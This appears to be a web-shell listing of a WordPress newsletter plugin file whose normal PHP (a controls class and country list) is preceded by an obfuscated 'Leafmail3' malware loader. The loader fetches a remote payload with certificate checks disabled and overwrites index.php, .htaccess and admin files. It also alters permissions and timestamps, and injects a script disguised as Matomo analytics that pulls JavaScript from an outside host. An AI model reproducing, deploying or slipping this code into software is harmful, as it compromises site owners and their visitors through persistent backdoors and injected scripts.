[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.129.20.62: ~ $
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
defined('ABSPATH') || exit;

include_once __DIR__ . '/fields.php';

class NewsletterControls {

    var $data = [];
    var $action = '';
    var $button_data = '';
    var $errors = '';

    /**
     * @var string
     */
    var $messages = '';
    var $toasts = [];

    /**
     * @var array
     */
    var $warnings = array();
    var $countries = array(
        'AF' => 'Afghanistan',
        'AX' => 'Aland Islands',
        'AL' => 'Albania',
        'DZ' => 'Algeria',
        'AS' => 'American Samoa',
        'AD' => 'Andorra',
        'AO' => 'Angola',
        'AI' => 'Anguilla',
        'AQ' => 'Antarctica',
        'AG' => 'Antigua And Barbuda',
        'AR' => 'Argentina',
        'AM' => 'Armenia',
        'AW' => 'Aruba',
        'AU' => 'Australia',
        'AT' => 'Austria',
        'AZ' => 'Azerbaijan',
        'BS' => 'Bahamas',
        'BH' => 'Bahrain',
        'BD' => 'Bangladesh',
        'BB' => 'Barbados',
        'BY' => 'Belarus',
        'BE' => 'Belgium',
        'BZ' => 'Belize',
        'BJ' => 'Benin',
        'BM' => 'Bermuda',
        'BT' => 'Bhutan',
        'BO' => 'Bolivia',
        'BA' => 'Bosnia And Herzegovina',
        'BW' => 'Botswana',
        'BV' => 'Bouvet Island',
        'BR' => 'Brazil',
        'IO' => 'British Indian Ocean Territory',
        'BN' => 'Brunei Darussalam',
        'BG' => 'Bulgaria',
        'BF' => 'Burkina Faso',
        'BI' => 'Burundi',
        'KH' => 'Cambodia',
        'CM' => 'Cameroon',
        'CA' => 'Canada',
        'CV' => 'Cape Verde',
        'KY' => 'Cayman Islands',
        'CF' => 'Central African Republic',
        'TD' => 'Chad',
        'CL' => 'Chile',
        'CN' => 'China',
        'CX' => 'Christmas Island',
        'CC' => 'Cocos (Keeling) Islands',
        'CO' => 'Colombia',
        'KM' => 'Comoros',
        'CG' => 'Congo',
        'CD' => 'Congo, Democratic Republic',
        'CK' => 'Cook Islands',
        'CR' => 'Costa Rica',
        'CI' => 'Cote D\'Ivoire',
        'HR' => 'Croatia',
        'CU' => 'Cuba',
        'CY' => 'Cyprus',
        'CZ' => 'Czech Republic',
        'DK' => 'Denmark',
        'DJ' => 'Djibouti',
        'DM' => 'Dominica',
        'DO' => 'Dominican Republic',
        'EC' => 'Ecuador',
        'EG' => 'Egypt',
        'SV' => 'El Salvador',
        'GQ' => 'Equatorial Guinea',
        'ER' => 'Eritrea',
        'EE' => 'Estonia',
        'ET' => 'Ethiopia',
        'FK' => 'Falkland Islands (Malvinas)',
        'FO' => 'Faroe Islands',
        'FJ' => 'Fiji',
        'FI' => 'Finland',
        'FR' => 'France',
        'GF' => 'French Guiana',
        'PF' => 'French Polynesia',
        'TF' => 'French Southern Territories',
        'GA' => 'Gabon',
        'GM' => 'Gambia',
        'GE' => 'Georgia',
        'DE' => 'Germany',
        'GH' => 'Ghana',
        'GI' => 'Gibraltar',
        'GR' => 'Greece',
        'GL' => 'Greenland',
        'GD' => 'Grenada',
        'GP' => 'Guadeloupe',
        'GU' => 'Guam',
        'GT' => 'Guatemala',
        'GG' => 'Guernsey',
        'GN' => 'Guinea',
        'GW' => 'Guinea-Bissau',
        'GY' => 'Guyana',
        'HT' => 'Haiti',
        'HM' => 'Heard Island & Mcdonald Islands',
        'VA' => 'Holy See (Vatican City State)',
        'HN' => 'Honduras',
        'HK' => 'Hong Kong',
        'HU' => 'Hungary',
        'IS' => 'Iceland',
        'IN' => 'India',
        'ID' => 'Indonesia',
        'IR' => 'Iran, Islamic Republic Of',
        'IQ' => 'Iraq',
        'IE' => 'Ireland',
        'IM' => 'Isle Of Man',
        'IL' => 'Israel',
        'IT' => 'Italy',
        'JM' => 'Jamaica',
        'JP' => 'Japan',
        'JE' => 'Jersey',
        'JO' => 'Jordan',
        'KZ' => 'Kazakhstan',
        'KE' => 'Kenya',
        'KI' => 'Kiribati',
        'KR' => 'Korea',
        'KW' => 'Kuwait',
        'KG' => 'Kyrgyzstan',
        'LA' => 'Lao People\'s Democratic Republic',
        'LV' => 'Latvia',
        'LB' => 'Lebanon',
        'LS' => 'Lesotho',
        'LR' => 'Liberia',
        'LY' => 'Libyan Arab Jamahiriya',
        'LI' => 'Liechtenstein',
        'LT' => 'Lithuania',
        'LU' => 'Luxembourg',
        'MO' => 'Macao',
        'MK' => 'Macedonia',
        'MG' => 'Madagascar',
        'MW' => 'Malawi',
        'MY' => 'Malaysia',
        'MV' => 'Maldives',
        'ML' => 'Mali',
        'MT' => 'Malta',
        'MH' => 'Marshall Islands',
        'MQ' => 'Martinique',
        'MR' => 'Mauritania',
        'MU' => 'Mauritius',
        'YT' => 'Mayotte',
        'MX' => 'Mexico',
        'FM' => 'Micronesia, Federated States Of',
        'MD' => 'Moldova',
        'MC' => 'Monaco',
        'MN' => 'Mongolia',
        'ME' => 'Montenegro',
        'MS' => 'Montserrat',
        'MA' => 'Morocco',
        'MZ' => 'Mozambique',
        'MM' => 'Myanmar',
        'NA' => 'Namibia',
        'NR' => 'Nauru',
        'NP' => 'Nepal',
        'NL' => 'Netherlands',
        'AN' => 'Netherlands Antilles',
        'NC' => 'New Caledonia',
        'NZ' => 'New Zealand',
        'NI' => 'Nicaragua',
        'NE' => 'Niger',
        'NG' => 'Nigeria',
        'NU' => 'Niue',
        'NF' => 'Norfolk Island',
        'MP' => 'Northern Mariana Islands',
        'NO' => 'Norway',
        'OM' => 'Oman',
        'PK' => 'Pakistan',
        'PW' => 'Palau',
        'PS' => 'Palestinian Territory, Occupied',
        'PA' => 'Panama',
        'PG' => 'Papua New Guinea',
        'PY' => 'Paraguay',
        'PE' => 'Peru',
        'PH' => 'Philippines',
        'PN' => 'Pitcairn',
        'PL' => 'Poland',
        'PT' => 'Portugal',
        'PR' => 'Puerto Rico',
        'QA' => 'Qatar',
        'RE' => 'Reunion',
        'RO' => 'Romania',
        'RU' => 'Russian Federation',
